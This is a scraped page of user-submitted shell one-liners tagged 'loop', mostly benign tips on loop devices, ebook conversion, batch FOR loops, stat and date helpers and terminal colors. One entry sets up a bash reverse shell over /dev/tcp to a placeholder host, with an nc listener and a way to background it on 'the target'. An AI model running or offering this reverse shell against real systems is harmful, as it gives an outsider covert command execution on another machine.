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Commands tagged loop from sorted by
Terminal - Commands tagged loop - 27 results
FILE=file_name; CHUNK=$((64*1024*1024)); SIZE=$(stat -c "%s" $FILE); for ((i=0; i < $SIZE; i+=$CHUNK)); do losetup --find --show --offset=$i --sizelimit=$CHUNK $FILE; done
2014-10-03 13:18:19
User: flatcap
Functions: losetup stat

It's common to want to split up large files and the usual method is to use split(1).

If you have a 10GiB file, you'll need 10GiB of free space.

Then the OS has to read 10GiB and write 10GiB (usually on the same filesystem).

This takes AGES.


The command uses a set of loop block devices to create fake chunks, but without making any changes to the file.

This means the file splitting is nearly instantaneous.

The example creates a 1GiB file, then splits it into 16 x 64MiB chunks (/dev/loop0 .. loop15).


Note: This isn't a drop-in replacement for using split. The results are block devices.

tar and zip won't do what you expect when given block devices.


These commands will work:

hexdump /dev/loop4


gzip -9 < /dev/loop6 > part6.gz


cat /dev/loop10 > /media/usb/part10.bin
sleep 10 & wait $!
2014-09-25 13:33:51
User: yorkou
Functions: sleep wait

A nice way to interrupt a sleep with a signal.

exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
2012-11-16 02:48:01
User: somaddict
Functions: cat exec read

This is sneaky.

First, start a listening service on your box.

nc -l 8080 -vvv &

On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.

exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

You can send it to the background like this:

(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &

Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

[ $V ] || : $((V++)) && echo $V
2012-06-15 16:48:03
User: axelabs
Functions: echo

I just found another use for the builtin ':' bash command. It increments counters for me in a loop if a certain condition is met...

: [arguments]

No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned.

for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize --enable-heuristics;done
while notify-send "`acpi -t`"; do sleep 300; done
2011-07-05 18:22:06
Functions: sleep

Use acpi and notify-send to report current temperature every five minutes.

Works best in a shell script run at startup. acpi is called for temperature and fed to notify-send for a tooltip. After waiting five minutes, it will start over.

while ping -c 1 > /dev/null; do acpi -t -f | while read tem; do notify-send "$tem"; done; sleep 300; done
2011-07-02 06:47:25
User: c0de
Functions: acpi ping read sleep

works best in a shell script run at startup. It will ping localhost once and output to null, after it does that, acpi is called for temperature in fahrenheit and piped through to another loop that feeds notify-send for a tooltip. After waiting five minutes, it will start over.

for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --extra-css="/yourdir/calibre.css" --asciiize --enable-heuristics;done
2011-04-19 15:36:27
User: rsimpson

all ebook-convert -options are optional. all you really need to pass ebook-convert is the incoming and outgoing names, with extensions.

Has been tested on Ubuntu 10.10

losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/
while [[ COUNTER -le 10 && IFS=':' ]]; do for LINE in $(cat /tmp/list); do some_command(s) $LINE; done; COUNTER=$((COUNTER+1)); done
2010-09-01 15:09:59
User: slashdot
Functions: cat

At times I find that I need to loop through a file where each value that I need to do something with is not on a separate line, but rather separated with a ":" or a ";". In this instance, I create a loop within which I define 'IFS' to be something other than a whitespace character. In this example, I iterate through a file which only has one line, and several fields separated with ":". The counter helps me define how many times I want to repeat the loop.

setlocal enabledelayedexpansion
2010-08-10 12:26:43
User: Marco

Usually the MS-DOS cmd.exe processes in the whole FOR loop as one command and expands each var like %varname% in before (except the loop var of course).

This command enables expansion of other vars than only the loop var during the FOR loop. The syntax of the var to expand is then !varname! inside the FOR loop.

Use command


to end the setlocal command.

E.g. (only works from batch files, not from commandline directly):

@echo off

setlocal enabledelayedexpansion

FOR %%A IN (*) DO (

set file=%%A

echo !file!



FOR /F "tokens=3* delims=[]=," %A IN ('SET ARRAY[') DO ( echo %A -- %B )
2010-08-10 12:12:27
User: Marco
Functions: echo

Loops over array of a system var, splits its values and puts the values into %A, %B, %C, %D, and so on.

Create array before, like

set ARRAY[0]=test1,100


set ARRAY[1]=test2,200

Be sure to replace %A, %B, etc. with %%A, %%B, etc. when using this from inside of batch files.

FOR /F "tokens=3* delims=[]=" %A IN ('SET ARRAY[') DO ( echo %A )
2010-08-10 12:08:26
User: Marco
Functions: echo

This command loops over all indexes of the system variable array ARRAY[] and puts its content into %A.

Create this array before, e.g. by

set ARRAY[0]=test1


set ARRAY[1]=test2

For using inside of a batch file, write %%A instead of %A.

find <dir> -name "<pattern>" | while read file; do echo -n .; output=$(<command>) || (echo ; echo $file:; echo "$output"; ); done
2010-08-10 11:45:31
User: Marco
Functions: echo find read

This is a command template for achiving the following:

* loop over files --> find -name "" | while read file; do ...; done

* output progress --> echo -n .

* execute some command on each file and save output for later usage --> output=$()

* if command failed, open subshell and echo newline --> || (echo;...;...;)

* echo output of command --> echo "$output"

for host in host1 host2 host3; do ssh -n user@$host <command> > $host.log & done; wait
2010-07-14 14:55:31
User: cout
Functions: host ssh

Ssh to host1, host2, and host3, executing on each host and saving the output in {host}.log.

I don't have the 'parallel' command installed, otherwise it sounds interesting and less cryptic.

for i in 192.168.1.{1..254} ; do if ping -c1 -w1 $i &>/dev/null; then echo $i alive; fi; done
statt(){ C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; }
2010-06-11 23:31:03
User: AskApache
Functions: column read sed

This shows every bit of information that stat can get for any file, dir, fifo, etc. It's great because it also shows the format and explains it for each format option.

If you just want stat help, create this handy alias 'stath' to display all format options with explanations.

alias stath="stat --h|sed '/Th/,/NO/!d;/%/!d'"

To display on 2 lines:

( F=/etc/screenrc N=c IFS=$'\n'; for L in $(sed 's/%Z./%Z\n/'<<<`stat --h|sed -n '/^ *%/s/^ *%\(.\).*$/\1:%\1/p'`); do G=$(echo "stat -$N '$L' \"$F\""); eval $G; N=fc;done; )

For a similarly powerful stat-like function optimized for pretty output (and can sort by any field), check out the "lll" function


From my .bash_profile ->


nmap -sP
2010-06-05 14:48:37
User: sdadh01

Works on any machine with nmap installed. Previous version does not work on machines without "seq".

Also works on subnets of any size.

for ip in `seq 1 255`; do ping -c 1 192.168.1.$ip ; done | grep ttl
alias dateh='date --help|sed -n "/^ *%%/,/^ *%Z/p"|while read l;do F=${l/% */}; date +%$F:"|'"'"'${F//%n/ }'"'"'|${l#* }";done|sed "s/\ *|\ */|/g" |column -s "|" -t'

If you have used bash for any scripting, you've used the date command alot. It's perfect for using as a way to create filename's dynamically within aliases,functions, and commands like below.. This is actually an update to my first alias, since a few commenters (below) had good observations on what was wrong with my first command.

# creating a date-based ssh-key for askapache.github.com

ssh-keygen -f ~/.ssh/`date +git-$USER@$HOSTNAME-%m-%d-%g` -C [email protected]' # [email protected]

# create a tar+gzip backup of the current directory

tar -czf $(date +$HOME/.backups/%m-%d-%g-%R-`sed -u 's/\//#/g' <<< $PWD`.tgz) . # tar -czf /home/gpl/.backups/04-22-10-01:13-#home#gpl#.rr#src.tgz .

I personally find myself having to reference

date --help

quite a bit as a result. So this nice alias saves me a lot of time. This is one bdash mofo. Works in sh and bash (posix), but will likely need to be changed for other shells due to the parameter substitution going on.. Just extend the sed command, I prefer sed to pretty much everything anyways.. but it's always preferable to put in the extra effort to go for as much builtin use as you can. Otherwise it's not a top one-liner, it's a lazyboy recliner.

Here's the old version:

alias dateh='date --help|sed "/^ *%%/,/^ *%Z/!d;s/ \+/ /g"|while read l;do date "+ %${l/% */}_${l/% */}_${l#* }";done|column -s_ -t'

This trick from my [ http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html bash_profile ]

find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %
2010-02-01 21:09:57
User: 4fthawaiian
Functions: find sed xargs

Changed out the for loop for an xargs. It's a tad shorter, and a tad cleaner.

for i in `find . -type f`; do sed -i '/group name/s/>/ deleteMissing="true">/' $i; done
2010-02-01 17:16:37
User: allrightname
Functions: sed

Recursively replace a string in files with lines matching string. Lines with the string "group name" will have the first > character replaced while other > characters on other lines will be ignored.

while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
2009-12-14 07:40:07
User: craigds
Functions: banner echo read sleep

Displays a scrolling banner which loops until you hit Ctrl-C to terminate it.

Make sure you finish your banner message with a space so it will loop nicely.

sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper

Very useful in shell scripts because you can run a task nicely in the background using job-control and output progress until it completes.

Here's an example of how I use it in backup scripts to run gpg in the background to encrypt an archive file (which I create in this same way). $! is the process ID of the last run command, which is saved here as the variable PI, then sleeper is called with the process id of the gpg task (PI), and sleeper is also specified to output : instead of the default . every 3 seconds instead of the default 1. So a shorter version would be sleeper $!;

The wait is also used here, though it may not be needed on your system.

echo ">>> ENCRYPTING SQL BACKUP" gpg --output archive.tgz.asc --encrypt archive.tgz 1>/dev/null & PI=$!; sleeper $PI ":" 3; wait $PI && rm archive.tgz &>/dev/null

Previously to get around the $! not always being available, I would instead check for the existance of the process ID by checking if the directory /proc/$PID existed, but not everyone uses proc anymore. That version is currently the one at http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html but I plan on upgrading to this new version soon.

declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done

I was looking for the fastest way to create a bunch of ansi escapes for use in echo -e commands throughout a lot of my shell scripts. This is what I came up with, and I actually stick that loop command in a function and then just call that at the beginning of my scripts to not clutter the environment with these escape codes, which can wreck havok on my terminal when I'm dumping the environment. More of a cool way to store escape ansi codes in an array. You can echo them like:

echo -e "${CC[15]}This text is black on bright green background."

I usually just use with a function:

# setup_colors - Adds colors to array CC for global use # 30 - Black, 31 - Red, 32 - Green, 33 - Yellow, 34 - Blue, 35 - Magenta, 36 - Blue/Green, 37 - White, 30/42 - Black on Green '30\;42' function setup_colors(){ declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7));CC[$i]="\033[1;3${i}m";CC[$ii]="\033[0;3${i}m";done;CC[15]="\033[30;42m"; export R='\033[0;00m';export X="\033[1;37m"; }; export -f setup_colors

CC[15] has a background of bright green which is why it is separate. R resets everything, and X is my default font of bright white.

CC[15]="\033[30;42m"; R=$'\033[0;00m'; X=$'\033[1;37m'

Those are just my favorite colors that I often use in my scripts. You can test which colors by running

for i in $(seq 0 $((${#CC[@]} - 1))); do echo -e "${CC[$i]}[$i]\n$R"; done

See: http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html for more usage.